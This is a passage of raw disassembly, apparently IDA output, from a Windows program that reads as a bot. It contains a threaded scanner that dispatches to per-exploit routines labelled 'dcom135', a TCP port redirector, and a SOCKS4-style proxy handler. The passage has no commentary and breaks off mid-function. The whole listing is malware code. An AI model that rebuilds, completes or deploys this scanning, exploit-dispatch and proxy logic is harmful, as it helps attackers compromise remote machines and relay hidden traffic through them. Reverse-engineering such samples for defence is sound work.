var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_43C5D4
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_407657
xor eax, eax
jmp short loc_4076C6
; ---------------------------------------------------------------------------
loc_407657: ; CODE XREF: sub_40762E+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_43C554
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_43C5F0
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_43C4FC
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_43C53C
push esi
mov edi, eax
call dword_43C5EC
xor eax, eax
cmp edi, ebx
setnle al
loc_4076C6: ; CODE XREF: sub_40762E+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40762E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4076CB proc near ; DATA XREF: sub_4078DF+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_42104C ; GetTickCount
push eax
call sub_415368
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_4078BC
; ---------------------------------------------------------------------------
loc_407717: ; CODE XREF: sub_4076CB+1FFj
cmp [ebp+var_10], 0
push eax
jz short loc_40772D
lea eax, [ebp+var_150]
push eax
call sub_407592
pop ecx
jmp short loc_407732
; ---------------------------------------------------------------------------
loc_40772D: ; CODE XREF: sub_4076CB+51j
call sub_40754A
loc_407732: ; CODE XREF: sub_4076CB+60j
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_4416CC[ebx]
push [ebp+var_3C]
push edi
call dword_43C5E0
push eax
lea eax, [ebp+var_28C]
push offset unk_4279F0
push eax
call sub_415316
lea eax, [ebp+var_28C]
push eax
lea eax, dword_4414C8[ebx]
push eax
call sub_415316
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40762E
add esp, 2Ch
cmp eax, 1
jnz loc_4078B1
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_407806
push offset dword_43BB08
call dword_4210B4 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_43C5E0
push eax
lea eax, [ebp+var_28C]
push offset unk_4279B0
push eax
call sub_415316
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_4077E8
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_4077DC
lea eax, [ebp+var_140]
loc_4077DC: ; CODE XREF: sub_4076CB+109j
push eax
push [ebp+var_40]
call sub_412BD1
add esp, 14h
loc_4077E8: ; CODE XREF: sub_4076CB+EEj
lea eax, [ebp+var_28C]
push eax
call sub_40B078
mov [esp+2A8h+var_2A8], offset dword_43BB08
call dword_4210B0 ; RtlLeaveCriticalSection
jmp loc_4078B1
; ---------------------------------------------------------------------------
loc_407806: ; CODE XREF: sub_4076CB+BEj
push edi
call dword_43C5E0
push eax
lea eax, [ebp+var_208]
push eax
call sub_415316
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aDcom135_0 ; "dcom135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_415316
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40784A
lea eax, [ebp+var_140]
loc_40784A: ; CODE XREF: sub_4076CB+177j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_415316
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_42738C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_4078B1: ; CODE XREF: sub_4076CB+B4j
; sub_4076CB+136j
push 7D0h
call dword_421060 ; Sleep
loc_4078BC: ; CODE XREF: sub_4076CB+47j
mov eax, dword_4416CC[ebx]
cmp dword_43B1AC[eax*8], 0
jnz loc_407717
push esi
call sub_4150F0
pop ecx
push 0
call dword_421048 ; ExitThread
sub_4076CB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4078DF proc near ; DATA XREF: sub_40CD3A+3137o
; sub_40CD3A+4D09o
var_20C = dword ptr -20Ch
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_14C]
inc ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_43C594
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_43B1A8[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_4071B6
push 8
call sub_41501C
add esp, 150h
cmp eax, ebx
jnz short loc_4079AD
mov esi, offset dword_43BB08
push esi
call dword_4210BC ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4210B8 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_4079AD
lea eax, [ebp+var_1CC]
push offset unk_427B38
push eax
call sub_415316
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_407997
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_412BD1
add esp, 14h
loc_407997: ; CODE XREF: sub_4078DF+99j
lea eax, [ebp+var_1CC]
push eax
call sub_40B078
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4079AD: ; CODE XREF: sub_4078DF+63j
; sub_4078DF+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_421060
mov edi, ebx
mov dword_43B1AC[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_407A6F
loc_4079CB: ; CODE XREF: sub_4078DF+18Aj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_427AE8
push eax
call sub_415316
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_414DDA
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_4416CC[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_4076CB
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_407A86
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_427A98
push eax
call sub_415316
lea eax, [ebp+var_1CC]
push eax
call sub_40B078
add esp, 10h
loc_407A61: ; CODE XREF: sub_4078DF+1ACj
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_4079CB
loc_407A6F: ; CODE XREF: sub_4078DF+E6j
cmp [ebp+var_30], ebx
jz short loc_407A94
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_407AA1
; ---------------------------------------------------------------------------
loc_407A82: ; CODE XREF: sub_4078DF+1AAj
push 1Eh
call esi ; Sleep
loc_407A86: ; CODE XREF: sub_4078DF+159j
cmp [ebp+var_4], ebx
jz short loc_407A82
jmp short loc_407A61
; ---------------------------------------------------------------------------
loc_407A8D: ; CODE XREF: sub_4078DF+1C0j
push 7D0h
call esi ; Sleep
loc_407A94: ; CODE XREF: sub_4078DF+193j
mov eax, [ebp+var_2C]
cmp dword_43B1AC[eax*8], 1
jz short loc_407A8D
loc_407AA1: ; CODE XREF: sub_4078DF+1A1j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_43B1A8[eax*8]
push eax
call dword_43C5E0
push eax
lea eax, [ebp+var_1CC]
push offset unk_427A40
push eax
call sub_415316
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_407AEF
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_412BD1
add esp, 14h
loc_407AEF: ; CODE XREF: sub_4078DF+1F1j
lea eax, [ebp+var_1CC]
push eax
call sub_40B078
mov eax, [ebp+var_2C]
mov [esp+20Ch+var_20C], 0BB8h
mov dword_43B1AC[eax*8], ebx
call esi ; Sleep
push 8
call sub_41501C
cmp eax, 1
pop ecx
jnz short loc_407B26
push offset dword_43BB08
call dword_4210BC ; RtlDeleteCriticalSection
loc_407B26: ; CODE XREF: sub_4078DF+23Aj
push [ebp+var_2C]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_4078DF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_407B36 proc near ; DATA XREF: sub_40CD3A+3509o
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
xor edi, edi
push 10h
inc edi
pop ebx
mov [eax+120h], edi
xor esi, esi
push ebx
lea eax, [ebp+var_10]
push esi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call dword_43C554
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_43C5D4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407C99
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_4416D4[eax], ebx
call dword_43C470
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43C580
test eax, eax
jnz loc_407C99
push 0Ah
push ebx
call dword_43C57C
test eax, eax
jnz loc_407C99
loc_407BE0: ; CODE XREF: sub_407B36+BEj
; sub_407B36+15Ej
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_43C5E8
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_407BE0
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_43C5E0
push eax
lea eax, [ebp+var_34C]
push offset unk_427BD8
push eax
call sub_415316
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_414DDA
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_4416CC[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset sub_407CBD
push esi
push esi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_4416DC[ecx], eax
jnz short loc_407C8F
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_427B88
call sub_40B0EC
pop ecx
pop ecx
jmp short loc_407C9C
; ---------------------------------------------------------------------------
loc_407C87: ; CODE XREF: sub_407B36+15Cj
push 32h
call dword_421060 ; Sleep
loc_407C8F: ; CODE XREF: sub_407B36+13Aj
cmp [ebp+var_2C], esi
jz short loc_407C87
jmp loc_407BE0
; ---------------------------------------------------------------------------
loc_407C99: ; CODE XREF: sub_407B36+61j
; sub_407B36+93j ...
mov edi, [ebp+arg_0]
loc_407C9C: ; CODE XREF: sub_407B36+14Fj
push edi
call dword_43C5EC
push ebx
call dword_43C5EC
push [ebp+var_3C]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_407B36 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_407CBD proc near ; DATA XREF: sub_407B36+11Co
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+var_4], ebx
call dword_43C5D4
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_407E20
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_43C554
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_43C594
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_407D4D
lea eax, [ebp+var_13C]
push eax
call dword_43C5D8
jmp short loc_407D5B
; ---------------------------------------------------------------------------
loc_407D4D: ; CODE XREF: sub_407CBD+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_43C50C
loc_407D5B: ; CODE XREF: sub_407CBD+8Ej
cmp eax, edi
jz loc_407E20
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_43C4FC
cmp eax, 0FFFFFFFFh
jz loc_407E20
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_43C5E0
push eax
lea eax, [ebp+var_344]
push offset unk_427C88
push eax
call sub_415316
push esi
lea eax, [ebp+var_344]
push 10h
push eax
call sub_414DDA
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_4416D4[ebx]
mov dword_4416CC[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_4416D8[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_407EA5
push edi
push edi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_4416DC[ecx], eax
jnz short loc_407E59
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_427C30
call sub_40B0EC
pop ecx
pop ecx
loc_407E20: ; CODE XREF: sub_407CBD+44j
; sub_407CBD+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_4416D4[eax]
call dword_43C5EC
push [ebp+arg_0]
call dword_43C5EC
push [ebp+var_4]
call sub_4150F0
pop ecx
push edi
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
loc_407E51: ; CODE XREF: sub_407CBD+19Fj
push 32h
call dword_421060 ; Sleep
loc_407E59: ; CODE XREF: sub_407CBD+14Ej
cmp [ebp+var_20], edi
jz short loc_407E51
mov ebx, 1000h
loc_407E63: ; CODE XREF: sub_407CBD+1E1j
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_43C56C
cmp eax, edi
jle short loc_407E20
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jnz short loc_407E63
jmp loc_407E20
sub_407CBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407EA5 proc near ; DATA XREF: sub_407CBD+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_415B90
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_407EDC: ; CODE XREF: sub_407EA5+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_4416D8[esi]
call dword_43C56C
test eax, eax
jle short loc_407F23
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_4416D4[esi]
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jnz short loc_407EDC
loc_407F23: ; CODE XREF: sub_407EA5+61j
push dword_4416D8[esi]
call dword_43C5EC
push [ebp+var_14]
call sub_4150F0
pop ecx
push 0
call dword_421048 ; ExitThread
pop edi
pop esi
sub_407EA5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F42 proc near ; DATA XREF: sub_40CD3A+587Co
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
xor edi, edi
xor esi, esi
inc edi
push ebx
mov [eax+0A8h], edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_43C554
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_43C5D4
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_4416D4[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_43C580
test eax, eax
jnz loc_4080E3
push 0Ah
push edi
call dword_43C57C
test eax, eax
jnz loc_4080E3
push [ebp+var_40]
push [ebp+var_D4]
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset unk_427DD0
push eax
call sub_415316
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_40801D
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_412BD1
add esp, 14h
loc_40801D: ; CODE XREF: sub_407F42+B9j
; sub_407F42+18Aj ...
lea eax, [ebp+var_2D4]
push eax
call sub_40B078
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_43C5E8
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_43C5E0
push eax
lea eax, [ebp+var_2D4]
push offset unk_427D78
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D4]
push 11h
push eax
call sub_414DDA
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_4416CC[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_408146
push esi
push esi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_4416DC[ecx], eax
jnz short loc_4080D9
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset unk_427D28
push eax
call sub_415316
add esp, 0Ch
jmp loc_40801D
; ---------------------------------------------------------------------------
loc_4080D1: ; CODE XREF: sub_407F42+19Aj
push 5
call dword_421060 ; Sleep
loc_4080D9: ; CODE XREF: sub_407F42+16Dj
cmp [ebp+var_28], esi
jz short loc_4080D1
jmp loc_40801D
; ---------------------------------------------------------------------------
loc_4080E3: ; CODE XREF: sub_407F42+7Bj
; sub_407F42+8Cj
push edi
call dword_43C5EC
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset unk_427CE0
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_408126
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_412BD1
add esp, 14h
loc_408126: ; CODE XREF: sub_407F42+1C2j
lea eax, [ebp+var_2D4]
push eax
call sub_40B078
push [ebp+var_3C]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_407F42 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408146 proc near ; DATA XREF: sub_407F42+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
xor edi, edi
mov [ebp+arg_0], esi
imul esi, 234h
inc edi
lea esi, dword_4416D4[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_43C53C
test eax, eax
jnz short loc_4081C7
push dword ptr [esi]
call dword_43C5EC
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_4081C7: ; CODE XREF: sub_408146+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_43C56C
test eax, eax
jg short loc_4081F8
push dword ptr [esi]
call dword_43C5EC
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_4081F8: ; CODE XREF: sub_408146+98j
cmp [ebp+var_4D0], 4
jnz loc_4083F2
cmp [ebp+var_4CF], 1
jnz loc_4083F2
cmp [ebp+var_44], bl
jz short loc_40828E
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40828E
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset unk_427EB8
call sub_40B0EC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_415390
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43C5A4
push dword ptr [esi]
call dword_43C5EC
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_40828E: ; CODE XREF: sub_408146+CFj
; sub_408146+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_415390
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_43C5D4
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_408326
call dword_43C4E8
push eax
push offset unk_427E68
call sub_40B0EC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_415390
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43C5A4
push dword ptr [esi]
call dword_43C5EC
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_408326: ; CODE XREF: sub_408146+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_43C4FC
cmp eax, 0FFFFFFFFh
jnz short loc_408395
call dword_43C4E8
push eax
push offset unk_427E10
call sub_40B0EC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_415390
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43C5A4
push dword ptr [esi]
call dword_43C5EC
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_408395: ; CODE XREF: sub_408146+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43C5A4
push dword ptr [esi]
push edi
call sub_40840A
pop ecx
pop ecx
push edi
call dword_43C5EC
push dword ptr [esi]
call dword_43C5EC
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_4083F2: ; CODE XREF: sub_408146+B9j
; sub_408146+C6j
push dword ptr [esi]
call dword_43C5EC
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_408146 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40840A proc near ; CODE XREF: sub_408146+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_408420: ; CODE XREF: sub_40840A+BEj
; sub_40840A+EEj
xor ecx, ecx
mov [ebp+var_100], ebx
inc ecx
xor eax, eax
mov [ebp+var_104], ecx
loc_408431: ; CODE XREF: sub_40840A+36j
mov edx, [ebp+arg_0]
cmp [ebp+eax*4+var_100], edx
jz short loc_408442
inc eax
cmp eax, ecx
jb short loc_408431
loc_408442: ; CODE XREF: sub_40840A+31j
cmp eax, ecx
jnz short loc_408456
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_408456: ; CODE XREF: sub_40840A+3Aj
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_43C53C
lea eax, [ebp+var_104]
push eax
push ebx
